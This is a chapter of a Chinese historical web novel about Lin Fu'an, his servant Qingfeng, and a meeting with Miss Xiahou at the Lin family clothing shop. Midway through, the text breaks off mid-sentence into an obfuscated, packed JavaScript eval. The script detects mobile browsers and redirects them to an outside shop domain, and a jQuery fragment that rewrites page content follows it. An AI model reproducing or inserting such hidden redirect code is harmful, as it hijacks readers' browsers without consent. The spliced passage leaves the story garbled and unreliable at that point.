四月天的流苏树上开满了雪白的花,一片白茫茫压得枝头端低低垂下。
清丰驶着林家的马车进了兴悦楼侧门,就停在侧院的流苏树下等自家公子从楼中出来。
今早在苏家府门前,公子上了苏姑娘的马车,他只得驶着自家的马车先往林家成衣铺子中送去东西,再往兴悦楼来。
本想着前几日公子惹得老爷生了好大的气,接下来的这几日许是要陪着公子在府中好好反省了,说不准连带着清丰自己也要随着受罚的那三个小厮一般打上几棍才行。
可偏生来得巧,苏家传来几句话就让老爷和姑娘匆匆赶往豫州去了。
这下倒好,公子犯错该如何罚一事就落到了夫人宋氏头上。
在林府里头,但凡是从临州旧府跟过来的,谁人不知宋氏一向偏心公子啊?
人人都说后母难当,可宋氏这个后母啊,在他看来那真算是当得再好不过了。
宋氏放着亲生的女儿不疼,从来都是对公子千般万般的好。即便公子不领情,在家中出言顶撞或是将她话当耳旁风都是常有的事,但那也不妨碍宋氏纵着公子啊。
公子闯出的这祸事也就趁着老爷和姑娘不在家中,硬生生让宋氏大事化小,小事化了,落到最后倒霉的只有那几个被抓住的小厮,不过宋氏看在公子的面子上也只打一顿几人就没了下文。
公子这小日子,倒是比从前更逍遥上几分,大抵也是因着这件事,公子对宋氏的态度也好上那么一点点。
不过那一点点,在清丰看来并没有跟从前没有什么太大的变化就是了。
倒是他们院里多出来的那丫鬟小蔓,平白惹得公子不待见。
因着公子那日在老爷跟前受了气,姑娘又随着一道去了豫州,而那日另有一个告状的丫鬟采枝不知去了何处,公子便将气全撒在小蔓身上。
今日公子起了个大早,也不知为何就想着到苏府去寻那苏姑娘。
像林家与苏家这样都是有生意要打理的人家,家中每隔三五日有人到铺子里头寻上一遭最好。
是以老爷离京之后,公子就每日差人打探苏姑娘何时出府,今日可算是让公子掐准时间碰上了。
也不知公子是真看上那苏家的小娘子,还是对苏家的兴悦楼感兴趣呢?
清丰看着那通往兴悦楼正堂的石板路,望着不远处的那栋奢华高楼,轻叹一声。
临州的兴悦楼他只跟着公子去过几回,京城的兴悦楼光是外表就比之更为繁华,里边的装潢想必也定是会比开在临州的好上许多。
早知该多带个下人出来的,他也好想去兴悦楼中瞧一瞧啊,奈何马车里头放着成衣铺子的账册,他离不得马车,现下只能在这干等着公子回来。
清丰伸手摘了流苏树低低垂下的一小簇枝叶,细长的花和翠绿嫩叶青白相间,透过花与叶交接的缝隙,道上有一模糊身影匆匆行来。
这身段怎的跟自家公子如此相像?
他放下枝叶,眨眨眼睛往道上望去,来人气势汹汹直往他来。清丰咽了口唾沫,心如擂鼓,快速过了一遍今日自己所行之事。
似乎没有行差踏错的地方啊?
不等他再细想,林福安已提着一盏八角灯笼就快要到面前,若是清丰还不快快下马车迎接,那便真要等着遭罪了。
他连滚带爬伏在青石板地上,膝间掌心碾碎了一地的四月雪落花。呼吸间连带鼻尖挨上的那一丝残瓣摇曳着,轻轻抚过。
清丰微微直起一点身子,躲过那烦人的花瓣,余光撇过定在面前的那双金丝虎纹靴。
下一刻,背上蓦地一重,他的脸面几乎要贴在地上,使尽了力气咬牙撑起才忍住那声闷哼。
晃动间,林福安踏上马车,压着怒意道:“愣着做什么,还不快走?”
还伏在地上的清丰一愣,闻言急忙撑起身子,低低垂着头掩去脸上的惧意连道几声‘是’。
车上的人气愤甩下帷幔。他不敢耽误,手心双膝都沾满了花瓣,也来不及拭去,坐上马车后即刻挥鞭启程。
掌心的四月雪混着小沙粒经辔头那条粗麻绳勒磨,变得黏腻。
清丰驾车自兴悦楼侧门而出,缓缓驶在城北大道上,一时不知该往林府去还是往林家开在京中的成衣铺子去。
将手胡乱在衣摆上擦了擦,他喉头发紧,深吸了几口气才掂量着向车厢里的人问道:“公子是要回府还是去铺子?”
林福安盯着手上持的那盏八角琉璃灯,闻言回过神来。
想把灯随意扔在脚边,又怕磕坏了,下意识就放在了身旁。
灯笼花篦散在一旁放着的账册上,他回道:“去铺子。”
外头低低传来一声是,车子也驶得比方才快上许多。
八角琉璃灯共有六面,其中四面镂空,两面贴着螺钿。
此时他细细端详那完整的两面,才看出螺钿贴得圆圆的,漆黑的墨透出碎金,寥寥几笔勾出一副水中月的模样。
看着这灯,脑中又回荡着苏沫在雅间里头对他说的话,眼前又浮现出递灯给他那奴婢的脸。
他就说呢,怎的那天告状的丫鬟在林府里头像凭空消失了一般,任凭他怎么磋磨小蔓,她也咬死道‘不知那人去向’。
连他也险些信了,看这模样原是姐妹情深,只是小蔓藏着不愿告诉他罢了。
林福安嗤笑一声,马车在此时急急停下,眼看那八角琉璃灯晃动着,就要从身旁掉下脚边,他下意识伸出手扶稳。
“公子,到了。”帷幔被掀开,露出清丰转过来的一张脸,林福安收回扶着灯的手,抬头正要呵斥他为何如此急停,却撇见他背上的半个脚印。
“将你身后的印子擦擦,见了叫我闹心。”林福安蹙了眉,径自下了马车往成衣铺子去。
林家的成衣铺子,自是不似苏家的兴悦楼一般在盛国各处都有。林家的绣纺和染坊全都在临州,成衣铺子也是多开在临州一带,在京中这家是前几年才张罗起来的。
抬起头,上方乌木牌匾用金漆写着三个大字——锦绣坊。
铺子里头三两个姑娘围成一团,左道一句右插一嘴,几双眼睛直往挂着的成衣上瞟。
有小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728630|139352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厮眼尖,直呼“公子”大步迎上前来,惹得几位姑娘纷纷侧目。
正在被几位姑娘围着的掌柜闻言躬下身子,直道:“劳烦各位姑娘稍候。”将手中的算盘与册子塞到伙计手上,才得以空出时间迎林福安进铺中。
“少东家。”
林福安对着掌柜只稍一点头,看几位姑娘目不转睛盯着自己,也是对着一揖。
礼毕,他展开檀木扇面,抬脚就要跟掌柜一同入里间谈论正事。
“你是....林大公子?”几位姑娘中,有人犹疑道。
语气丝毫没有女儿家的羞怯。
手持折扇的他转过头,目光定在一位眉宇间英气不凡的姑娘身上。
“小女子夏侯氏。”夏侯岚落落大方一礼,见林福安没有否认,又道:“听闻林老爷随着景王一同前往豫州赈灾,恰巧小女父亲夏侯将军也在赈灾军中。”
“原是夏侯将军家的千金,失礼失礼。”林福安不明夏侯岚何意,但行礼终归是没错的,当即一礼,心下暗自拿了主意。
他向身旁的掌柜吩咐道:“夏侯姑娘在锦绣坊定下的衣裳可做好了?届时记在本公子账上便是。”
林福安言毕,夏侯岚身旁的两位少女都有些艳羡。可毕竟林福安是外男,即使羡慕她,但也不是谁都敢贸然开这个口去打交道的。
“另外这两位姑娘的也一并记。”他留意到夏侯岚身边的两位姑娘,又向掌柜吩咐,随即才对夏侯岚笑道:“夏侯姑娘若无旁的事,在下便先行告退了,只盼夏侯姑娘往后多携些姐妹来照顾锦绣坊才是。”
她身旁的两位少女喜形于色,皆垂下头羞道:“多谢林公子。”站在右边的姑娘见她一动不动,还呆站着愣神,连忙暗中扯了一下她的衣袖。
经此一扯,夏侯岚才醒过神,连忙道:“林公子多心了,我只是有些要事想问一问林公子。”她一顿,目光停在右边的姑娘身上。
站在她右边的姑娘立即会意,向着另一位姑娘道:“听闻对面八珍斋里卖的桂花糕可是京中一绝呢,阿云便陪我一同去买些吧?”
被唤作阿云的姑娘双眼直直顺着铺子外头望去,连连点头,两人当即挽着手离去。
而在锦绣坊中的掌柜和下人也纷纷退下些许,各自忙着手里的活计,眼不观耳不听。
夏侯岚这才接着道:“林公子可知豫州现下如何了?”
她英气的眉微微蹙起,眼中还有些许担忧。
豫州,又是豫州如何了?
心中那股恼意又涌上心头,他蓦地想起今早在苏家马车上,苏沫嘲讽他的那番话。
唇边下意识勾起一抹嘲笑。
夏侯岚见状忙一礼道:“林公子莫要见怪,只是家母并未收到军中传来的消息,今日我又恰巧在锦绣坊中碰见林公子,便想来问一问。”
她想起先前爹爹在家中说过,林老爷好似原先是要与这位林公子一同去豫州的,可不知为何,临行前却忽地成了林姑娘随着前去。
瞧见林福安那抹笑,她心下一惊,生怕是因自己一问冒犯到他,急急解释。